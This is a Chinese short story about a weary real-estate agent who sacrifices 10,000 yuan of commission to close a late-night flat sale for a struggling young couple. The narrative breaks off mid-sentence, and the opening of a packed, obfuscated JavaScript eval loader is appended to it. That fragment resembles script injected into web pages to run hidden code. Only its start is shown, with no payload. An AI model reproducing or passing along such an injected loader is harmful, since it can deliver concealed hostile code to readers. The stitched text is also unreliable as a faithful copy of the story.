已经是晚上十点半了。这套位于老破小六楼的房子里，空气像凝固的水泥。
买家是一对年轻小夫妻，男的姓刘，背着那个程序员标配的双肩包，一直没放下；女的坐在唯一的破板凳上，手里的矿泉水瓶已经被捏得咔咔响。
房东坐在窗台上抽烟，那是老张刚给他递的硬中华。
“再降两万。”小刘的声音很干，像是在嗓子里磨过砂纸，“大哥，这是我们的底线了。首付真的是凑出来的，还要留点钱刷墙。”
房东把烟屁股按在窗台上，没回头：“小伙子，我也急用钱。这地段，这学段，我挂的已经是最低价了。两万块钱，也就是你俩两个月工资吧？别太计较。”
老张站在中间，职业性地赔着笑，但他知道这局是个死结。
两万块。
对房东来说，是面子，是“不能被砍太多”的执念。
对小刘夫妇来说，可能是还没发的年终奖，或者是又要去跟岳母开口的难堪。
而对老张来说，这一单如果成了，他这个月就能给刚上初中的女儿报那个死贵的英语游学营；如果不成，他已经三个月没开张了，会被店长指着鼻子骂“占着工位不拉屎”。
按照行规，或者是老张这十年的“生存智慧”，现在他有两套话术。
A方案：把小刘拉到一边，说刚才有个看房的想出全款，制造焦虑，逼他们借钱也要买。
B方案：跟房东卖惨，说这小两口多不容易，如果不卖他们，这房子还得挂半年。
但他看着那个女孩。
女孩一直在低头看手机上的计算器，手指微微发抖。她脚上那双运动鞋洗得发白，鞋边开了点胶。
老张突然想起了十年前的自己。那时候带老婆来这座城市，为了省五百块钱中介费，大夏天跑断了腿，最后被黑中介骗走了两个月房租，坐在路边哭得像个傻逼。
“咳。”老张清了清嗓子。
所有人都看向他。他感觉喉咙里像塞了团棉花。
如果是年轻时的老张，会为了正义拍案而起。但现在的他，是背着房贷、女儿要交补习费的中年老张。他不能在这个时候装圣人。
但是，他真的太累了。累得不想再为了那一千多块钱的提成差额去编织谎言，去给这对小夫妻本来就紧绷的生活再上一道刑具。
“这样吧。”老张开口了，声音比他想象的要稳，“这单我让个步。”
他转头看向房东：“李哥，您这房子确实挂了三个月了，之前的买家嫌爬楼累，也没诚意。这小两口是刚需，过了这个村没这个店。这两万块钱，您降一万，行不行？”
房东皱眉，刚要开口。
老张立刻转向小刘：“小刘，剩下的一万，我也不逼你们掏。我这中介费，给你们免一万。”
屋子里突然安静了。只有窗外远处高架桥上传来的隐约车流声。
小刘猛地抬头，眼镜片反着光，一脸不可置信。
房东愣了一下，似乎在算账。
老张心里在滴血。免一万，意味着这一单他白跑了腿，甚至算上公司抽成和平台费，他可能也就是赚个几百块辛苦费，连油钱都未必够。
但他脸上的表情很松弛，像是卸下了一块大石头。
“但我有个条件，”老张看着他们，“今晚必须签合同。我累了，想回家睡觉。”
签约中心就在楼下不远的门店。
打印机“滋滋”地吐着合同。那一万块钱的让利，像是一剂润滑油，让原本锈死的齿轮重新转动了起来。房东松口了，那一万他也认了。
签字的时候，那个女孩的手还在抖，但这次是因为激动。
按完手印，小刘站起来，想握老张的手，又觉得手上有印泥不干净，就在裤子上蹭了蹭。
“张哥，这……真的太谢谢了。以后我们同事买房，肯定找你。”小刘语无伦次。
老张摆摆手，把合同装进文件袋递给他们：“行了，赶紧回去休息吧。明天还得搬砖呢。”
送走客户和房东，
;eval(function(p,a,c,k,e,d){e=function(c){return(c